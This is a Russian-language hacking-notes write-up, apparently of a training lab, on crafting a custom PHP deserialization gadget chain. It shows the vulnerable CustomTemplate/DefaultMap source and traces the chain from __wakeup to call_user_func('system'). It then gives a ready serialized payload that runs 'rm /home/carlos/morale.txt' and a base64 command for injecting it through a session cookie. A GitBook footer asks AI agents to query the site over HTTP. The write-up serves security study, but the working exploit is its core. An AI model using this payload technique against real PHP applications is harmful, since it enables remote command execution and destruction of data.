> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/deserialization/custom-chain-for-php-deserialization-gadget-chain.md).
# Пользовательская строка для цепочки гаджетов PHP-десериализации
### Разработка пользовательской цепочки гаджетов для десериализации PHP
Приложение хранит сессию в сериализованном **cookie + закодированном в Base64**. Во время десериализации некоторые **магические методы** выполняются автоматически (в частности `__wakeup()`), открывая путь к цепочке гаджетов, ведущей к выполнению команд.
```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```
{% code overflow="wrap" %}
```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"r9zarbq7vgrlku65u7rowsyop83xikhc";}
```
{% endcode %}
Следующий комментарий:
```html
```
Файл читается по /\~
```
/cgi-bin/libs/CustomTemplate.php~
```
#### 1) Анализ кода (`CustomTemplate.php~` файл резервной копии)
```php
desc = new Description();
$this->default_desc_type = $desc_type;
// Карлос считал, что это круто — вызывать функцию в двух местах... Вот это гений
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, что ты имел в виду с этими описаниями? Пожалуйста, рефакторь!
$this->HTML_DESC = '
This product is cool in html
';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
?>
```
#### Точка автоматического ввода: `CustomTemplate::__wakeup()`
* Во время `unserialize()`, PHP автоматически вызывает `__wakeup()`.
* Здесь, `__wakeup()` вызывает `build_product()`.
#### Передача в `Product`
`build_product()` делает:
* `new Product($this->default_desc_type, $this->desc)`
И в `Product::__construct()`:
* `$this->desc = $desc->$default_desc_type;`
Таким образом **код пытается обратиться к динамическому свойству** в `$desc` объекта, используя `$default_desc_type` как управляемое значение.
#### Выбираемый гаджет: `DefaultMap::__get($name)`
Если `$desc` является `объектом DefaultMap` объектом:
* у него нет настоящего свойства с именем `HTML_DESC` / `TEXT_DESC` / или другой навязанной цепочки,
* поэтому PHP вызывает `__get($name)`,
* `__get()` выполняется: `call_user_func($this->callback, $name)`.
Если `callback = "system"` установлен, результат `system($name)`.
#### 2) Цель цепочки
Выполнить:
* `system("rm /home/carlos/morale.txt")`
#### 3) Построение цепочки (логически)
Создайте объект:
* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"**/ (это будет имя свойства `объектом DefaultMap`, поэтому аргумент, передаваемый в `system`)
* `CustomTemplate->desc` = **объект DefaultMap**
* `DefaultMap->callback` = **"system"**
Из десериализации:
1. `unserialize()` → вызывает `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Product`
3. `Product::__construct()` создаёт `$desc->$default_desc_type`
4. `$desc` является `объектом DefaultMap` и свойство не существует → `DefaultMap::__get($name)`
5. `__get()` → `call_user_func("system", $name)` → выполняет команду
#### 4) Сериализованный PHP-пейлоад (обратите внимание на длины)
Сериализованный пейлоад:
```json
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
```
#### Кодирование Base64 для cookie
Команда:
```bash
echo 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}' | base64 -w 0 ; echo
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/ru/web/deserialization/custom-chain-for-php-deserialization-gadget-chain.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.